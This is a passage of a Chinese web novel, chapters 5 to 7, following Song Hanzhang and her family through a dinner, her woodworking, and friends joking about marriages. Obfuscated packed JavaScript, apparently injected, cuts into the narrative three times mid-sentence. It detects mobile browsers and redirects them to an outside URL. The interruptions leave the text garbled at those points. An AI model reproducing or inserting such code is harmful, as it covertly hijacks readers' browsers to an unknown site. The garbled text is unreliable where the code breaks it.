宋行简缓步走出书院大门,身后跟着他的养弟程国恩。夕阳的金辉落在他身上,十七岁的少年身姿挺拔如松,眉目之间继承了母亲宋夫人的美貌,骨相极好,五官轮廓分明却不失柔和,是那种站在人群里便让人移不开目光的俊朗。 宋四维本就学富五车,亲手把大儿子教养到十三岁,便将他送到青山书院跟从王谦山长求学——在宋四维看来,真正的学问不在自家的书房里,而在更广阔的天地间。将大儿子托付给青山书院之后,宋四维便腾出时间去教养大女儿宋玉章,以及那对比宋含章还小两岁的双生子小女儿宋引章和小儿子宋清扬。 与宋行简同在青山书院念书的,还有宋四维的养子程国恩。 说是养子,却与亲子无异。十年前,宋四维途经归去河时,看见一个木盆顺流而下,盆中躺着一个五六岁的孩童,不哭不闹,只用一双乌黑的眼睛静静地看着天空。宋四维立刻跳入河中将他救起,带回了宋家。这孩子无父无母,无亲无故,连名字都没有,只知道自己姓程。 宋四维便给他取名"国恩"——感念国泰民安之恩,也寄望他将来成为国家的栋梁。程国恩与宋行简同岁,天资极高,读书过目不忘,宋四维待他如亲子,一样花心思培养,从不曾因他是养子而有半分偏颇。宋行简也视他如亲弟,两人自幼一起读书、一起习字、一起在宋家的书房里度过无数个点灯夜读的晚上,感情甚笃。 此时,先一步冲出书院的宋含章正站在自家马车前,圆滚滚的身影在夕阳下被拉成一个椭圆,双手抱胸,下巴微扬,等着大哥和二哥。 宁安侯府的马车恰好停在宋家马车一旁。顾子衿从书院出来,路过宋含章身边时停下脚步,朝她微微一笑,挥了挥手,温声道了句"含章,明日见",便踩着脚凳上了马车。她的动作轻巧而优雅,与宋含章的大开大合形成了奇妙的对比。 顾承泽和顾子佩跟在后面,两人不约而同地瞪了宋含章一眼——顾承泽的目光里还残留着荷花池的寒意,顾子佩的目光里则藏着被坐在地上三个时辰的屈辱。 可宋含章只是挑了挑眉,两人便立刻缩回了目光,加快脚步钻进马车,仿佛多待一瞬就会被她一把拎起来。侯府马夫见公子小姐都已坐稳,便拿起缰绳,马鞭轻轻落下,马儿扬起蹄子,车轮碾过青石板,渐行渐远。 曾思雨、沈十安、钟荀彧也各自登上了各家马车,车轮辘辘,仆人们吆喝着马匹,一辆辆马车在夕阳里排成一队,缓缓驶上官道。沈十安上车前往宋含章的方向瞥了一眼,目光复杂,嘴里似乎嘟囔了一句什么,随即用力拉上了车帘。 宋含章站在自家马车旁等了一会儿,才看见大哥宋行简、二哥程国恩和大哥的好友洪楚离并肩踏出书院大门。 三人边走边说着什么,宋行简眉宇间还带着方才论学的余韵,程国恩则神色淡然,目光沉静,像一潭看不透的深水。洪楚离与宋行简、程国恩在书院门口拱手告别,翻身上马,马蹄声脆响着远去。宋行简便拉着妹妹登上了马车。 马车缓缓驶动,马蹄踏在官道上,车身轻轻摇晃。车窗外,京城的街巷正浸在暮色里,远处传来晚市的喧嚣,炊烟在青灰色的屋顶上袅袅升起。 宋行简坐在妹妹对面,看着她圆滚滚的脸,问道:"今日可有人辱骂你?" 宋含章双手抱胸,扬起下巴,神色里带着几分骄傲:"暂时没有。"她说"暂时"两个字时语气很重,仿佛那是一件值得炫耀的事。 宋行简看着妹妹那圆圆的脸,真是又爱又恨。他伸手想摸摸她的头,手伸到一半又缩了回去——她不喜欢被人当小孩子对待。他仔细端详她的眉眼,忽然注意到妹妹右眼角那一颗黑痣,在昏暗的车厢里若隐若现。 那一瞬间,他想到了好友顾承宇——顾承宇左眼角下也有一颗黑痣,像是星子坠落在眼角,带着几分说不清的魅惑。他忽然想到,含章和承宇,一个痣在右,一个痣在左,仿佛冥冥中某种对称的命运。 其实,宋含章只是身材壮硕偏胖。若细看她的眉目五官,底子是极好的——眉峰有英气,鼻梁挺直,嘴唇饱满,一双眼睛又亮又黑,像两颗洗过的墨玉。只是那一身壮实的体魄,旁人便很难越过她的身形去注意她的面容。 如果瘦下来,也是顶好的美人胚子。毕竟,宋四维和宋夫人的容貌都是万里挑一的——一个玉树临风,一个风姿绰约——这样的父母,怎么可能会生出丑孩子? 程国恩坐在宋行简身边,沉默了片刻,忽然开口。他唤了宋含章的小名,声音不高,像是随口一提:"团团,以后别人辱骂你,你还手时,注意不要留下痕迹,免得落下证据。否则那些人拿着伤处找上门来,闹得父亲和母亲不得清静,最后受罚的还是你。" 宋含章一听,眼睛亮了,赶紧凑近了些,压低声音道:"二哥,知道了。你教我打人不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋行简看看妹妹,又看看程国恩,嘴唇动了动,终究没有再说什么。不是无话可说,而是他明白,有些道理需要在时间里慢慢浸泡,才能泡出味道来。 他想起自己在书院里与同窗辩论"以直报怨还是以德报怨",那些引经据典的滔滔雄辩,此刻在妹妹面前显得如此苍白。真正的"直"是什么?真正的"德"又是什么?他忽然觉得,自己读了这么多书,也许还不如妹妹活得明白——至少她知道,被人欺负的时候不能趴下。 马车继续向前驶去,车厢里安静了片刻。宋含章靠在车窗边,掀起车帘一角,看着窗外流逝的街景。暮色把她的侧脸镀上了一层温柔的金色,那颗右眼角的黑痣在余晖里闪了一下,像是这落日留在人间的一个小小的印戳。 宋行简看着妹妹的侧影,心里涌起一股复杂的情绪。他记得父亲曾说过,含章这个名字,是希望她怀藏美质而不显露。可如今看来,她的"美质"确实不显露——不是藏在温婉里,而是藏在那一身倔强的骨血里,藏在那一双从来不低头的眼睛里。 夕阳无限好,一辆辆载着公子小姐们的马车踏着暮色,穿过京城的街道,各回各家,各归各院。官道两旁的柳树在晚风中轻摇着枝条,像是在与这一天的少年意气挥手作别。 那些车辙在尘土中留下的痕迹,很快便会被明天的晨露覆盖。而这条路上,还会有无数个这样的傍晚——马儿扬蹄,车轮转动,载着一车厢的欢笑与叹息,一车厢的懵懂与成长,缓缓驶入京城。 5. 宋府的烟火,含章的木鸢 皇上一道圣旨,要修编一本关于宁国奇山异水和各地风物的书籍。此事看似风雅,实则浩大——宁国疆域辽阔,山川形胜、风土人情千差万别,若要一一核实、考订、编纂,非数月之功不能完成。 翰林学士院里,可谓忙碌不已。执掌翰林学士院的宋四维已领着各位属下伏案奋笔疾书近两月,案上的文稿堆成了小山,砚台里的墨干了又添,添了又干。 从核实各地呈报的风物记录,到校对口述与文献的出入,每一条记载都要经过反复比对,不得有半分差错。经过不重复的证实和校对,终于在今日夕阳西下之时,完成了这部浩繁的编著。 整整忙碌两月,翰林学士院的各位院官都好久没有归家了。他们的案头上摞满了各地呈上来的风物志和舆图,屏风上贴满了密密麻麻的批注,连茶盏里的茶凉了都顾不上喝一口。有人困了就伏在案上打个盹,醒了又继续提笔——这两个月里,翰林学士院的灯火常常亮到天明。 宋四维率先放下笔,那支笔搁在笔山上,发出轻微的一声响,像是两个月来最动听的休止符。他环顾众人,朗声笑道:"诸位辛苦了,早些回去,家中的灯火该亮起来了。" 众人听了,都欣喜不已,纷纷搁笔,互相拱手道别,脸上挂着疲惫而满足的笑容。宋四维快速收拾好笔墨纸砚,脚步松快地踏出了翰林学士院的大门,那步伐比谁都走得快——他比任何人都更急着回家。旁人笑他身居高位却最念家,他只笑道:"功名再大,大不过家里一顿热饭。" 夕阳还未完全落下,余晖正温柔地覆在京城的屋顶上。宋府的前厅里,灯火渐次亮起,饭菜的香气在空气中弥漫开来。宋四维和夫人坐在上首,宋行简、程国恩、宋玉章、肖朗、宋含章、宋引章、宋清扬依次而坐。一家人围坐一桌,碗筷交错间,是宋家最寻常也最珍贵的烟火气。 肖朗也是宋四维的养子。三岁时,他被宋四维从雪地里捡回来。那年冬天格外寒冷,京城下了三天三夜的大雪,宋四维出城办事,在路边看见一个蜷缩在雪堆里的小小身影。等他跑过去时,孩子已冻得浑身发紫,没了呼吸。是宋夫人把孩子抱在怀里,用体温暖着他,整整捂了一夜,才将他从鬼门关拉了回来。 宋四维和宋夫人自此把他当作亲子,视如己出。肖朗喜欢习武,宋四维便送他去习武,不因他是养子而有半分轻慢。在这个家里,亲生的和收养的,从来都只用一个称呼——"孩子"。 饭桌上,除了宋含章,其他人一边吃,一边聊着趣事。宋行简说着书院里的见闻,宋玉章偶尔插一句温婉的点评,宋引章和宋清扬两个小家伙你一句我一句地斗嘴,程国恩沉默地给每一个人添茶,肖朗则埋头扒饭,不时抬头插一句俏皮话,逗得众人发笑。 世间之人,特别是那些贵女——包括宋玉章和才八岁的宋引章在内——吃饭是为了活着。她们夹菜的动作优雅,咀嚼时不露齿,甚至连碗筷相碰的声响都轻得几不可闻。 而宋含章活着,就是为了吃饭。 每次到吃饭的时辰,她最为积极。人还没进前厅,脚步声已经咚咚咚地响了一路。 饭桌上,她吃得豪爽——一大口饭,一大口菜,腮帮子塞得鼓鼓囊囊。不过,虽说是豪爽,她并不会吧唧嘴,不会翻菜挑拣,也不会伸手去够远处的盘子。高门贵府的教养,在她身上以另一种方式存在着——不精致,不优雅,但自有一份天真质朴的分寸。 正在给小女儿宋引章布菜的宋夫人,余光瞥见宋含章已经风卷残云般吃完了第三碗米饭,正伸手去盛第四碗。她赶紧站起来,伸手夺走了宋含章的碗,语气里满是心疼与无奈:"团团,你不能再吃了。你看你,都圆成什么样了?再这么吃下去,身子怎么受得住。" 宋含章看了看与大家身形格格不入的自己,慢慢起身站到一旁。她不吵不闹,也不撒娇耍赖,只是安静地站着,不言不语,两只明亮的、水汪汪的大眼睛直直地盯着饭桌上的饭菜,喉咙里一下一下地咽着口水。 那目光里没有委屈,没有愤怒,只有一种纯粹的、本能的渴望——像是一个站在饴糖铺外隔着柜台往里看的孩子,明明近在咫尺,却被告知那不属于自己。 宋四维见了,心疼得不行。他夹起一个鸡腿,正要递给宋含章。宋夫人眼疾手快,立刻伸手拦住,目光坚定,像一堵不可逾越的墙。 宋四维与宋夫人对视一眼,那一眼里包含了许多——他心疼女儿,她也心疼女儿,只是心疼的方式不同。 他怕女儿饿着,她怕女儿将来为这身肉受更多的苦。他叹了口气,缓缓收回了手,把鸡腿放回了碟子里,筷子搁在碗沿上,发出轻轻的一声响。 其他兄弟姐妹见了也心疼,也想给宋含章夹一些吃的——宋行简的手已经摸上了筷子,程国恩的目光在红烧肉上停留了许久,肖朗更是直接撕了半只烧鹅腿——可宋夫人的目光盯得紧紧的,他们只能作罢,各自把夹起来的菜又默默放回了自己碗里。宋玉章看着妹妹咽口水的样子,悄悄将自己的点心用帕子包好,打算饭后偷偷塞给她。 饭后,天色已暗,宋府各处渐次掌起了灯。 宋含章回到了自己的房间。她的房间与寻常闺秀的闺房截然不同——没有绣架,没有妆奁,墙角立着一排木头架子,上面摆满了锯子、刨刀、凿子、墨斗,以及大大小小半成品的木头零件,空气里弥漫着一股淡淡的木屑清香。 她点上灯,在桌前坐下,拿起锯子和刨刀,展开一张自己绘制的图纸,开始专注地制作木鸢。烛火照在她圆圆的脸庞上,那双平日里满是倔强的眼睛,此刻沉静而明亮,仿佛喧嚣了一天之后,终于找到了属于自己的一方天地。 她的手指虽然粗短,却出奇地灵巧。锯木、刨平、打磨、拼接,每一个动作都稳而准,像是做过千百遍。 墨家机关道的那些书里写到的飞鸢构造,她读了几遍就记在了心里,此刻正一点一点地把纸上的图形变成立体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618685|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的构件。 胖乎乎的春夏轻轻踏进房间,脚步轻很轻,她双手放在背后,慢慢走到宋含章的身边。烛光把两个女孩子的影子投在墙上,一个壮实如山,一个矮胖如球,倒是一对奇妙的组合。 宋含章正全神贯注地打磨着木鸢的翅膀,刨刀在木头上推出薄薄的刨花,一卷一卷地落在桌面上,并没有察觉春夏进屋。 春夏看着她那副专注的模样,抿嘴偷偷笑了一下,便把藏在背后的东西拿出来——一大块还冒着热气的鸡肉。她撕下一块,轻轻递到宋含章的嘴边。 专注的宋含章依旧没有抬头,眼睛始终盯着手里的木鸢构件,只是下意识地张开了嘴巴,接住了春夏递来的鸡肉,鼓着腮帮子嚼了起来。 春夏笑着又撕下一块,再次递过去。就这样,一个不停地投喂,一个一边吃着一边忙碌着自己的事情,两个人之间形成了一种默契而温暖的节奏——不需要言语,不需要对视,却比任何交流都更亲近。灯下的木屑与肉香混在一起,成了这间屋子里独有的气息。 春夏是宋含章从街上捡来的。那是一个冬日的傍晚,宋含章从书院散学回家的路上,看见一个瘦弱的小女孩蜷缩在街角的墙根下,衣衫单薄,脸冻得发青,面前放着一个破碗,碗里空空如也。宋含章二话不说,把自己带的点心全塞给了她,然后拉着她的手回了宋府。宋四维和宋夫人见这孩子孤苦无依,便让她留了下来,成了宋含章的侍女。 说是侍女,倒不如说是姐妹。两个人同吃同住,春夏睡觉就与宋含章挤在一张床上。冬天的时候,春夏怕冷,宋含章便把她搂在怀里,用自己的体温给她取暖;夏天的时候,春夏便整夜给宋含章摇扇子,怕她热得睡不着。 府里有些下人起初瞧不起春夏,说她是"街上捡来的野丫头",宋含章听了,直接拎起那人扔进了后院的池里,从此再没人敢多说一句。 春夏在宋府,有吃有穿,身体也迅速膨胀,成了一个圆球。 此刻,春夏看着宋含章一边专注地做木鸢一边嚼着鸡肉的样子,眼里满是柔和的笑意。她家姑娘在外面是让人闻风丧胆的"大混世魔王",可在她眼里,只是一个饿了会咽口水、做事会忘了吃饭、需要人往嘴里塞肉的傻姑娘。 "姑娘,"春夏终于忍不住开口,声音软软的,"这木鸢做好了,能飞起来吗?" 宋含章终于抬起头,眼睛亮了一下,嘴角还沾着一点鸡肉的油光,语气笃定得像在宣告一个不可动摇的事实:"当然能飞。我算了三遍,翅膀的角度和风力的托举刚好匹配。等做好了,我带你到后山去放,让它飞到云上去。" 春夏用力地点了点头,又撕下一块鸡肉塞进宋含章的嘴里,笑着说:"那我可得把鸡肉备足,怕你飞到一半饿了掉下来。" 宋含章嚼着肉,含糊不清地哼了一声,又低下头继续刨木头。烛光在两个人之间安静地燃着,窗外夜色渐浓,屋里的木鸢,正一点一点地长出翅膀来。 6. 清风居里,谈论姻缘 天色还未暗下,晚风拂过京城的大街小巷。清风路上,宁安侯府的海棠花开得正盛,花香弥漫在整个院子的角落,甜丝丝的,像春天的呼吸。 顾承宇的书房里,烛火次第亮起。窗外的海棠花影透过纱窗落在书案上,随风轻摇。 顾承宇与王修安正在对弈,棋盘上黑白交错,落子的声音清脆而笃定。 宋行简把玩着顾承宇那一把饮过敌人鲜血的剑——剑身寒光凛冽,剑刃上隐约可见细密的纹路,那是无数次与敌刃相撞后留下的痕迹,每一道都是生死之间的印记。 洪楚离则斜靠在顾承宇书案前的椅子上,两条腿翘起来搭在书案上,手里端着一盏茶,姿态懒散得像一只晒太阳的猫。 四人乃是好友。王修安虽比他们大四岁,还是宋行简和洪楚离在书院里的先生,可四人志同道合,性情相投,从不以师生之礼相拘,而是以知音相处。在这间书房里,没有先生与学生,没有侯府世子与翰林之子,只有四个可以推心置腹的年轻人。 洪楚离呷了一口茶,忽然摇头晃脑地吟道:"关关雎鸠,在河之洲。窈窕淑女,君子好逑——"他故意把"好逑"两个字拖得老长,语气里满是吊儿郎当的意味。 王修安听了,抬头看了他一眼,语气淡淡却一针见血:"你已定亲,还想着别的女子,这是不忠。" 洪楚离长叹一口气,放下茶盏,满脸愁容:"虽说已定亲,可那霍家小姐连面都未见过——美丑不知,性情不知,万一见面时是个母夜叉呢?"他越说越激动,拍了拍桌子,"我都在担心洞房花烛时,盖头一掀,本公子会不会吓得从洞房里跑出来。" 宋行简白了他一眼,道:"瞎扯。那霍凌霜就长得不错,她姐姐霍傲雪自然也不会差。你见过凌霜那丫头的眉眼,应该心里有数。" 洪楚离一听,赶紧凑过来,脸上的愁容瞬间变成了好奇:"也不一定。你看看你、玉章、小引章、小清扬,你们宋家哪个长得差?可你看看含章——"他话未说完,自己先叹了一口气,像是说到了什么令人惋惜的事,"我真的不敢相信含章会是宋叔叔和婶婶的亲骨肉。这上天真是太偏心了,把所有的优点都分给了你们几个,把所有的缺点都给了含章。" 此话一出,宋行简的脸色瞬间沉了下来。他站起身,拔出那把饮过血的剑,剑锋在烛火下闪过一道寒光,稳稳地架在洪楚离的脖颈上。剑刃与皮肤之间的距离只有一丝,洪楚离甚至能感觉到那冷意正沿着脖子往上爬。 "当着我的面,说我亲妹妹的坏话——"宋行简的声音不大,却字字清晰,目光直视洪楚离,"你是不是过分了一些?" 洪楚离赶紧放下茶盏,双手高高举起,身子僵得像一根木桩,声音都变了调:"大哥,大哥,这剑不是玩物,可是开了锋的,喝过人血的,你小心点——这剑真凉,真凉,我都感觉到它在冒寒气了,我的血它可不喜欢。" 顾承宇一直未说话,手指间的白子悬在棋盘上方,仿佛这场争执与他对弈的世界隔着一道看不见的屏障。 王修安落下一枚黑子,棋子叩在棋盘上,发出清脆的一声响,打破了短暂的沉寂。他这才缓缓开口,声音温和却不容置疑:"楚离,你的话确实有失偏颇。含章虽过于丰腴,但眉眼五官生得极好——眉有英气,眼有灵气,那鼻子和嘴唇的轮廓,和她姐姐玉章如出一辙。如果瘦下来,不会比玉章差。你不该只看到她的身形,就否定了她整个人。" 宋行简听了,这才把剑从洪楚离的脖颈上移开,收剑入鞘,看着洪楚离道:"听见没有?我宋家没有丑人。" 洪楚离揉了揉脖子,确认皮肤还完好无损,这才松了口气,嘟囔道:"好好好,你们宋家个个天仙下凡——就是含章嘛,是个胖天仙。" 王修安微微一笑,不再理会洪楚离的贫嘴,转而看向棋盘对面的顾承宇,语气里带着几分调侃:"承宇,听说老夫人给你精挑细选了十几位贵女,你都不满意——甚至连玉章都不满意。玉章无论是容貌、品行还是学识,都是京城里数一数二的,你的眼光是不是太高了?" 顾承宇听了,抬眼看着王修安,目光平静如水,没有一丝涟漪。他淡淡道:"你还说我?你看看你,都二十一了,这南京城的贵女个个都渴望嫁与你,你还不是一个都没看上。" 这话不软不硬,却正好戳在王修安的痛处。王修安微微一怔,随即摇头失笑,没有再接话。 洪楚离立刻嗅到了转移火力的机会,赶紧从王修安身后绕到顾承宇身边,凑近了说道:"承宇,你竟然看不上玉章。你知不知道,如果我从小没有和霍家定亲,我早就请媒人去宋府提亲了。玉章那样的女子,乃是天下男子梦寐以求的。" 宋行简听了,眉头一皱,手又按在了剑柄上。 洪楚离眼尖,立刻跳起来两步窜到王修安身后,拿王修安当盾牌,探头道:"这剑凉,还是赶紧放进剑鞘里吧。行简,咱们是兄弟,动口不动手,凡事好商量。" 宋行简没有追他,而是转过头,认真地看着顾承宇,目光里带着不解和探究:"承宇,玉章无论容貌、品行、学识,都是京城里数一数二的。这些年求亲的人踏破了门槛,母亲一个都没点头。说实话,我对你是敬佩的,我也希望你能成为我的妹夫——可是你为何不喜欢她?" 顾承宇夹着白子,手指停在半空中,烛火在他眼底映出一点跳动的光。他沉思了一瞬,那枚棋子在他指间微微转动。片刻后,他落下棋子,缓缓开口,声音不高:"不是有缘人,就是天上的仙女,也不会让人心跳。我想要的,是那种一见到那人,心就会自己跳起来的感觉——不是权衡利弊之后的选择,不是门当户对的匹配,而是一眼看去,就知道是她了。" 书房里安静了一瞬。这话从一个十七岁的少年口中说出来,本该显得稚嫩,可从顾承宇嘴里说出来,却有一种不容置疑的笃定。在战场上,他信自己的直觉;在感情上,他同样信。 洪楚离张了张嘴想调侃两句,却发现自己竟然不知道该说什么——因为他说得太认真了,认真到任何玩笑都显得轻浮。 宋行简看着顾承宇,目光微微一凝。他的视线不自觉地落在了顾承宇左眼角下那颗黑痣上,忽然顿了一下。那颗痣在烛光里若隐若现,像是一颗星子坠落在眼角。他想起了一个人——另一个也有一颗黑痣,只是在那人的右眼角,仿佛与眼前这颗是一对。 "承宇,"宋行简忽然开口,语气变得有些微妙,像是在说着某种他刚刚意识到的命运的安排,"要不——你娶了含章?" 此话一出,顾承宇、洪楚离、王修安三人的目光同时落在宋行简身上,书房里的空气像是被这句话瞬间冻住了。洪楚离的嘴张成了一个夸张的圆形,王修安的手指顿在棋盘上方忘了落下。 震惊之中,宋行简不慌不忙地解释道:"你左眼角下有一颗黑痣,含章右眼角下也有一颗黑痣。两颗黑痣一左一右,大小、形状、颜色都毫无二致——这种巧合,世间罕有。这不是缘分,是什么?"他顿了顿,目光从顾承宇脸上扫过,又落在棋盘上,声音里带着一种若有若无的笃定,"兴许是你们前世有缘,留下了印记,今生再来相见。" 洪楚离第一个从震惊中回过神来,笑出了声,笑声里满是不敢置信:"我的天啦,行简,你竟然说出这样的话。承宇连玉章都不喜欢,会喜欢如一座山一样的含章?"他一边笑一边摇头,"你这做哥哥的,是想把妹妹硬塞出去吧?可你也得看看货对不对板啊——承宇这样丰神俊逸的少年将军,岂会看得上你家含章。" 顾承宇抬起头,目光如刀,盯着洪楚离,一字一字道:"不要以貌取人。" 洪楚离被他眼神里的冷意慑了一下,但嘴上仍不肯认输,小声嘟囔道:"你是没见过含章,那体型——能把你压扁。不是我夸张,她一个能打我们四个。" 王修安瞪了洪楚离一眼,声音难得地带了几分严厉:"越说越离谱。含章虽说是顽皮了一些,可生性纯良——她打人,都是因为别人先欺负她。你以为她欺负的那些孩子是善茬?他们骂她的话,比刀子还伤人。她从来不主动招惹谁,从不欺负比自己弱的人,从不告密。这份心性,比许多温顺乖巧的大家闺秀都更难得。"他顿了顿,语气略微缓和,目光扫过在座的几人,"再好的相貌也会色衰,再美的容颜也抵不过岁月的摧折。真正能长久吸引人的,还是一颗有灵魂的心。含章,配得上任何人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618686|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。"他停了片刻,又补了一句,像是在提醒什么,"再说了,含章已定亲,沈国公府的沈十安。就是承宇有意,也是有缘无分。" 王修安毕竟是先生,他虽然年轻,但在四个人的小圈子里自有一种天然的威信。 洪楚离听了,不敢再说宋含章的坏话了,悻悻地闭上了嘴,重新端起茶盏,把自己缩回椅子里。 书房里安静了片刻。王修安的话像一枚沉甸甸的石子,落进了每个人的心里。 顾承宇的手指轻轻叩着棋盘,不知在想什么——他想的或许不是那些关于含章的话,而是"有缘无分"这四个字,以及宋行简方才说的那句"前世有缘,留下印记"。 洪楚离为了打破沉默,转头把话题引向宋行简,挤眉弄眼地问道:"你不是也定亲了吗?你见过你那未婚妻没有?" 一说到未婚妻,宋行简的耳朵瞬间红了起来,从耳尖一路烧到耳根,在烛光下格外显眼。他低下头,假装去整理衣袖,可那双红通通的耳朵已经出卖了他。 洪楚离像发现了新大陆,立刻凑过来,满脸兴奋:"哎哟,耳朵还红了!这么害羞,等洞房花烛夜时,可别让新娘子嫌弃了。到时候你脸红得像只煮熟的虾,人家姑娘还以为自己嫁了个关公呢。" 宋行简又羞又恼,伸手朝洪楚离用力一推:"一边儿去!" 顾承宇和王修安都抬起头,看着宋行简那带着羞涩的模样,相识一眼,眼底都浮起了一丝了然的微笑。这个平日里沉稳从容的宋家大公子,在书院里与人辩论口若悬河,在父亲面前进退有度,此刻却因为一个女子的名字而手足无措——这本身就是一种答案。 顾承宇又落下一枚棋子,棋盘上的局势渐渐明朗。他抬头问道:"行简,你见过你未婚妻?" 宋行简点了点头,脸上还带着未褪尽的红晕,声音不自觉轻了下来:"去年去江南时,见过一面。" 洪楚离又赶紧凑过来,两只眼睛亮得像发现了猎物的猎犬,催促道:"快说说,快说说,什么感觉?她是胖是瘦?是高是矮?" 宋行简没有理他连珠炮似的追问。他微微侧过头,目光越过烛火,望向窗外渐深的夜色,仿佛又看到了江南的那个黄昏。 那个黄昏后,他与未婚妻白梅相见——夕阳正沉入远山,晚霞染了半边天,她就站在一树白梅之下,花瓣簌簌落在她的肩头。那美目盼兮、巧笑倩兮的未婚妻白梅,此刻又浮现在眼前,每一个细节都历历在目。他不禁摸了摸头,嘴角浮起了一抹连自己都无法控制的微笑。 洪楚离急了,从椅子上跳下来,跺着脚说:"你倒是快说话啊,真是急死人了!" 宋行简摸了摸脑袋,声音里带着一种连自己都没有察觉的沉醉:"初见,已心跳不止。一眼万年。" 他顿了顿,手指不自觉地摩挲着剑柄上的纹路,像是在抚摸某种记忆的质感。 "不用刻刀,便已将她刻在心上。此生此世,生生世世,都忘不掉了。" 他的声音轻轻地落在烛光里,像是怕惊碎了某种美好的事物。 洪楚离听了,捂着胸口,仰头望着屋顶,拉长了声音喊道:"霍傲雪——等我们见面时,你也要给我这种感觉——!" 他喊得中气十足,像是怕远方的未婚妻听不见。 顾承宇和王修安却都沉默了。王修安缓缓转动着手中的棋子,看着它在烛火下反射出温润的光泽。他在想,那种心跳不止的感觉——他读了二十一年的书,翻遍了经史子集,却从未在任何一个典故里读到过这样的心动。那是一首他还没学会的诗,是一种他还没遇见的人。 顾承宇低头看着棋盘,白子黑子交错之间,仿佛藏着一个他尚未参透的谜。宋行简的话像一阵风,吹过他心里那片荒芜的土地,掀起了一层浅浅的沙土。 一眼万年,刻在心上——这几个字像一颗种子,悄无声息地落进了他十七岁的心里,落在了一片从未被开垦过的土地上。他不知道那颗种子什么时候会发芽,也不知道为它浇水的人会是谁。他只是忽然觉得,宋行简描述的那种感觉,值得他用一生去等。 笑声从书房里飘出去,混着海棠花香,散入了京城温柔的夜色之中。 7. 温柔的夜,夫妻间的呢喃 夜色渐晚,宋府的书房里烛火温润,将人的影子投在墙上,晕成一片柔和的暖黄。 宋夫人伏在书案上,一页一页地翻着宋府的账册,指尖在数字间游走,眉头时而微蹙时而舒展。 肖朗坐在一旁,执笔帮忙记账。他习武的手握起笔来却也不含糊,字迹虽不如大哥宋行简那般俊逸,倒也端正清晰,一笔一划都透着认真。 宋四维坐在书案一旁的太师椅上,手里端着一盏茶。茶是方才宋夫人亲手沏的,温度刚好,茶香在唇齿间缓缓散开。 他浅浅呷了一口,抬眼看着面前笔直站立的四个孩子——宋玉章、程国恩、宋引章和宋清扬——目光从他们面上一一扫过。近两月的忙碌让他疏于过问孩子们的学业,如今书稿已付梓,他终于能腾出心神来,回到这个家中最让他挂心的角色里。 他放下茶盏,瓷器与木桌相触,发出轻轻的一声响,在安静的书房里格外清晰。 "近两月异常忙碌,翰林院的那部书稿耗时不菲,我一直没有顾及到你们的学业。"他的目光在几个孩子脸上停住,语气温和却带着为父者特有的审视,"不知你们近来学得如何?" 宋玉章站在最前面,微微垂首,恭顺地答道:"爹爹,温故而知新。女儿最近一直在温习父亲之前讲解的《楚辞》和《诗经》。"她的声音如她的性子一般,温婉柔和,像是春风拂过琴弦。 宋四维微微颔首,目光中带着几分期待:"那你可有什么新的收获?" 宋玉章沉吟片刻,抬起眼眸,烛光在她眼中映出两点温润的光。她缓缓道:"女儿了解了诗词的起源、发展历程以及它们的格律演变。从四言到五言,从古体到近体,格律在变,形式在变,可诗词里面那种为民请命的情怀未变,那种对当下的思考未变,那种对山川之美的赞叹也未变。"她顿了顿,像是在整理自己的思绪,然后轻轻补了一句,"诗词养的不是辞藻,养的是心,养的是情怀。" 宋四维听了,眼中浮起一抹满意的笑意,目光里满是欣慰。玉章这个女儿,自幼聪慧,更难得的是读书不只在字句间打转,而是能读出文字背后的筋骨来。他捻了捻并不存在的胡须,转头看向站在一旁的程国恩。 "国恩啊,你呢?"他的语气里带着与对亲生女儿同样的关切,不偏不倚,不分亲疏。 程国恩躬身行了一礼,神态恭敬而从容,不急不缓地答道:"义父,孩儿在青山书院收获颇丰,聆听王谦山长与诸位先生的教诲,如同拨云见日。加之义父平日的教导,如今孩儿的眼里不只有眼前的方寸之地,还有远处的青山、绿水和宁国的锦绣山河。" 宋四维看着程国恩,目光在他脸上停了片刻,那目光里有一种旁人不易察觉的审视。他微微点头道:"不错,男儿应当志在四方,理应建功立业。不过——"他话锋一转,语气沉了下来,像是在叮咛什么紧要的事,"你要记住,功业固然重要,修身养性更为根本。只有人心正了,做什么都会正。心不正,则万事皆偏。" 程国恩垂下眼帘,将腰弯得更低了些,拱手道:"孩儿谨遵义父教诲。" 书案前正埋头记账的肖朗,听到这番话,不由地抬起头来,目光落在程国恩身上,停了片刻。他虽没有像大哥宋行简那样饱读诗书,也从不觉得自己有资格与这些学富五车的兄姐们谈论学问,但他自幼在市井与刀枪之间摸爬滚打,见过形形色色的人,对人有一种野兽般敏锐的直觉。 这直觉告诉他,程国恩这个人——话说得太周全,态度太恭顺,城府太深太深,心机太重太重。但肖朗什么也没说,只是低下头,继续记账,笔尖在纸上划过的力道却比方才重了几分。 